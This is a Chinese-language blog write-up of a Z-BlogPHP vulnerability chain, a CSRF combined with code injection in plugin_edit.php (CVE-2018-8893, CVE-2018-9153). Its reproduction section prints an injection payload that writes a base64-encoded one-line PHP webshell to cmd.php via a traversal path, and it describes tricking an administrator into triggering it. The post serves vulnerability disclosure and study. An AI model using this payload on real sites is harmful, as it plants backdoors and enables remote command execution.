前言
Z-BlogPHP是一款强大的博客程序,它支持PHP5.2-7.2,可运行在Windows、Linux、macOS等众多操作系统之上。用户可以将其看作普通博客程序,更可以将其视为一套CMS。它有着强大的可定制性,同时也有着丰富的第三方应用。
近日,Z-BlogPHP_1_5_1_Zero 及以下版本被指出可被 Getshell,攻击者通过一个 CSRF 漏洞(CVE-2018-8893) 结合 CVE-2018-9153 漏洞可执行任意 PHP 代码。
漏洞分析
漏洞出现在 /zb_users/plugin/AppCentre/plugin_edit.php 文件内,该文件在处理 POST 请求时,首先对传入的 appid 进行了正则判断,由于表达式匹配了 3-30 字符,并要求以数字字母或下划线开头,因此只要前三个字符满足就可以通过检查。

接下来的代码内包含了两处 file_put_contents 文件写入操作,他们分别获取了 tpl/main.html 和 tpl/include.php 的文件内容,使用前面获取的 $app->id 值替换 <%appid%> 之后,再执行文件写入操作。这个过程中由于 $app->id 可控,所以通过构造恶意的 $app->id 值,可以执行 PHP 代码,最终导致 Getshell。两个文件写入的位置虽略有不同,但原理都相同,都是将恶意的 PHP 代码包含在传入的 $app->id 中,通过 CSRF 触发代码执行,所以接下来只对 tpl/main.php 这个模板文件进行分析。
/tpl/main.php 文件内代码如下:

文件中有两处 <%appid%> 被替换为了 $app->id,这里在构造 $app->id 值时,可以通过使用 ?> 对 php 代码进行闭合来保证恶意 php 代码的完整性。写入的恶意 php 代码会在管理员访问这个页面时被触发,所以需要控制一下传入的 app_path 参数值,将代码插入到一个管理员可以点击进入的页面,如某个已有插件的某个文件内。
漏洞复现
首先构造 CSRF 需要用到的表单页面,放在攻击者的 Web 服务器上。
其中 $app->id 的值构造如下:
aaa’)){}$f=fopen(‘cmd.php’,'a’);fwrite($f,base64_decode(‘PD9waHAgQGV2YWwoJF9HRVRbY21kXSk7Pz4=’));fclose($f);?>
app_path 值构造如下:
../Totoro/main.php

之所以选择 ../Totoro/main.php 这个文件是因为 Totoro 插件内的 main.php 文件在后台管理页面有可以直接访问的位置:

诱使网站管理员访问攻击者构造的恶意页面。点击后,会跳转到如下页面:

此时恶意的 php 代码已经被插入到了 Totoro/main.php 文件内:

这时如果管理员点击了评论管理页面的 Totoro 设置按钮,就会执行攻击者插入到 Totoro/main.php 内的 php 代码,也就是会在 Totoro 目录下写入一句话木马。


一句话木马写入成功后,可通过木马执行命令:


参考
作者: JenI 转载请注明出处,谢谢
Comments !